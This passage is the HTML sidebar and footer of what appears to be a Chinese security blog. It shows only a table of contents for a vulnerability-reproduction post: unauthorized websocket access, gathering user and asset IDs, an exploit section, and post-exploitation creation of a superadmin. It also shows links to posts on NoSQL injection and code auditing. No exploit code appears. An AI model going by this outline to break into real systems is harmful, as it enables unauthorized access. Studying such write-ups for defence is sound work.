class="toc-number">2.</span> <span class="toc-text">0x02 漏洞原理</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x03-%E5%BD%B1%E5%93%8D%E7%89%88%E6%9C%AC%EF%BC%9A"><span class="toc-number">3.</span> <span class="toc-text">0x03 影响版本：</span></a></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x04-%E5%A4%8D%E7%8E%B0%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E6%B3%A8%E6%84%8F%E5%9D%91%E7%82%B9"><span class="toc-number">4.</span> <span class="toc-text">0x04 复现环境搭建注意坑点</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#1%E3%80%81%E5%88%9B%E5%BB%BA%E4%B8%80%E4%B8%AA%E7%B3%BB%E7%BB%9F%E7%94%A8%E6%88%B7"><span class="toc-number">4.0.1.</span> <span class="toc-text">1、创建一个系统用户</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#2%E3%80%81%E5%88%9B%E5%BB%BA%E7%AE%A1%E7%90%86%E7%94%A8%E6%88%B7"><span class="toc-number">4.0.2.</span> <span class="toc-text">2、创建管理用户</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#3%E3%80%81%E5%88%9B%E5%BB%BA%E8%B5%84%E4%BA%A7"><span class="toc-number">4.0.3.</span> <span class="toc-text">3、创建资产</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#4%E3%80%81%E8%B5%84%E4%BA%A7%E6%8E%88%E6%9D%83"><span class="toc-number">4.0.4.</span> <span class="toc-text">4、资产授权</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#5%E3%80%81web%E7%BB%88%E7%AB%AF%E8%BF%9E%E6%8E%A5"><span class="toc-number">4.0.5.</span> <span class="toc-text">5、web终端连接</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#0x05-%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0"><span class="toc-number">5.</span> <span class="toc-text">0x05 漏洞复现</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#1%E3%80%81%E8%AF%B7%E6%B1%82%E6%9C%AA%E6%8E%88%E6%9D%83-socketweb"><span class="toc-number">5.0.1.</span> <span class="toc-text">1、请求未授权 socketweb</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#2%E3%80%81%E8%8E%B7%E5%8F%96system-user-user-id-asset-id-%E8%BF%99%E4%B8%89%E4%B8%AA%E9%87%8D%E8%A6%81%E5%8F%82%E6%95%B0"><span class="toc-number">5.0.2.</span> <span class="toc-text">2、获取system_user user_id asset_id 这三个重要参数</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#3%E3%80%81%E5%AF%B9%E5%BA%94%E5%A1%AB%E5%85%A5EXP%E4%B8%AD"><span class="toc-number">5.0.3.</span> <span class="toc-text">3、对应填入EXP中</span></a></li><li class="toc-item toc-level-3"><a class="toc-link" href="#4%E3%80%81%E6%88%90%E5%8A%9F%E5%88%A9%E7%94%A8%EF%BC%9A"><span class="toc-number">5.0.4.</span> <span class="toc-text">4、成功利用：</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#%E5%90%8E%E5%88%A9%E7%94%A8%EF%BC%9A%E5%88%9B%E5%BB%BA%E8%B6%85%E7%AE%A1"><span class="toc-number">6.</span> <span class="toc-text">后利用：创建超管</span></a><ol class="toc-child"><li class="toc-item toc-level-3"><a class="toc-link" href="#%E5%91%BD%E4%BB%A4%E8%A1%8C%E5%88%9B%E5%BB%BA%E8%B6%85%E7%AE%A1"><span class="toc-number">6.0.1.</span> <span class="toc-text">命令行创建超管</span></a></li></ol></li></ol></li><li class="toc-item toc-level-1"><a class="toc-link" href="#EXP"><span class="toc-number">7.</span> <span class="toc-text">EXP</span></a></li></ol></div></div><div class="card-widget card-recent-post"><div class="item-headline"><i class="fas fa-history"></i><span>最新文章</span></div><div class="aside-list"><div class="aside-list-item"><a class="thumbnail" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Nosql inject注入"/></a><div class="content"><a class="title" href="/2022/11/28/Nosql%20inject%E6%B3%A8%E5%85%A5/" title="Nosql inject注入">Nosql inject注入</a><time datetime="2022-11-28T07:28:02.000Z" title="发表于 2022-11-28 15:28:02">2022-11-28</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/11/15/%E4%BC%81%E4%B8%9A%20SDLC%20%E5%AE%89%E5%85%A8%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%AE%A1%E7%90%86/" title="企业 SDLC 安全生命周期管理"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231217732.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="企业 SDLC 安全生命周期管理"/></a><div class="content"><a class="title" href="/2022/11/15/%E4%BC%81%E4%B8%9A%20SDLC%20%E5%AE%89%E5%85%A8%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%E7%AE%A1%E7%90%86/" title="企业 SDLC 安全生命周期管理">企业 SDLC 安全生命周期管理</a><time datetime="2022-11-15T14:03:44.000Z" title="发表于 2022-11-15 22:03:44">2022-11-15</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/11/05/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E6%BC%8F%E6%B4%9E(File%20Operation!Redirect!Cors)/" title="Go 代码审计漏洞(File Operation\Redirect\Cors)"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Go 代码审计漏洞(File Operation\Redirect\Cors)"/></a><div class="content"><a class="title" href="/2022/11/05/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E6%BC%8F%E6%B4%9E(File%20Operation!Redirect!Cors)/" title="Go 代码审计漏洞(File Operation\Redirect\Cors)">Go 代码审计漏洞(File Operation\Redirect\Cors)</a><time datetime="2022-11-05T09:15:28.000Z" title="发表于 2022-11-05 17:15:28">2022-11-05</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/10/30/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E(sqli!cmd!ssrf)/" title="Go 代码审计高危漏洞(sqli\cmd\ssrf)"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Go 代码审计高危漏洞(sqli\cmd\ssrf)"/></a><div class="content"><a class="title" href="/2022/10/30/Go%20%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E9%AB%98%E5%8D%B1%E6%BC%8F%E6%B4%9E(sqli!cmd!ssrf)/" title="Go 代码审计高危漏洞(sqli\cmd\ssrf)">Go 代码审计高危漏洞(sqli\cmd\ssrf)</a><time datetime="2022-10-30T06:57:14.000Z" title="发表于 2022-10-30 14:57:14">2022-10-30</time></div></div><div class="aside-list-item"><a class="thumbnail" href="/2022/05/10/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9A%20ClassLoader%E5%BA%94%E7%94%A8/" title="Java代码审计： ClassLoader应用"><img src="https://image-1257110520.cos.ap-beijing.myqcloud.com/old/202210231225566.webp" onerror="this.onerror=null;this.src='/img/404.jpg'" alt="Java代码审计： ClassLoader应用"/></a><div class="content"><a class="title" href="/2022/05/10/Java%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%EF%BC%9A%20ClassLoader%E5%BA%94%E7%94%A8/" title="Java代码审计： ClassLoader应用">Java代码审计： ClassLoader应用</a><time datetime="2022-05-10T08:21:21.000Z" title="发表于 2022-05-10 16:21:21">2022-05-10</time></div></div></div></div></div></div></main><footer id="footer"><div id="footer-wrap"><div class="copyright">&copy;2019 - 2022 By Zeo</div><div class="footer_custom_text">Hi, welcome to my blog!</div></div></footer></div><div id="rightside"><div id="rightside-config-hide"><button id="readmode" type="button" title="阅读模式"><i class="fas fa-book-open"></i></button><button id="darkmode" type="button" title="浅色和深色模式转换"><i class="fas fa-adjust"></i></button><button id="hide-aside-btn" type="button" title="单栏和双栏切换"><i class="fas fa-arrows-alt-h"></i></button></div><div id="rightside-config-show"><button id="rightside_config" type="button" title="设置"><i class="fas fa-cog fa-spin"></i></button><button class="close" id="mobile-toc-button" type="button" title="目录"><i class="fas fa-list-ul"></i></button><button id="go-up" type="button" title="回到顶部"><i class="fas fa-arrow-up"></i></button></div></div><div><script src="/js/utils.js"></script><script src="/js/main.js"></script><script src="https://cdn.jsdelivr.net/npm/@fancyapps/ui/dist/fancybox.umd.min.js"></script><div class="js-pjax"></div></div></body></html>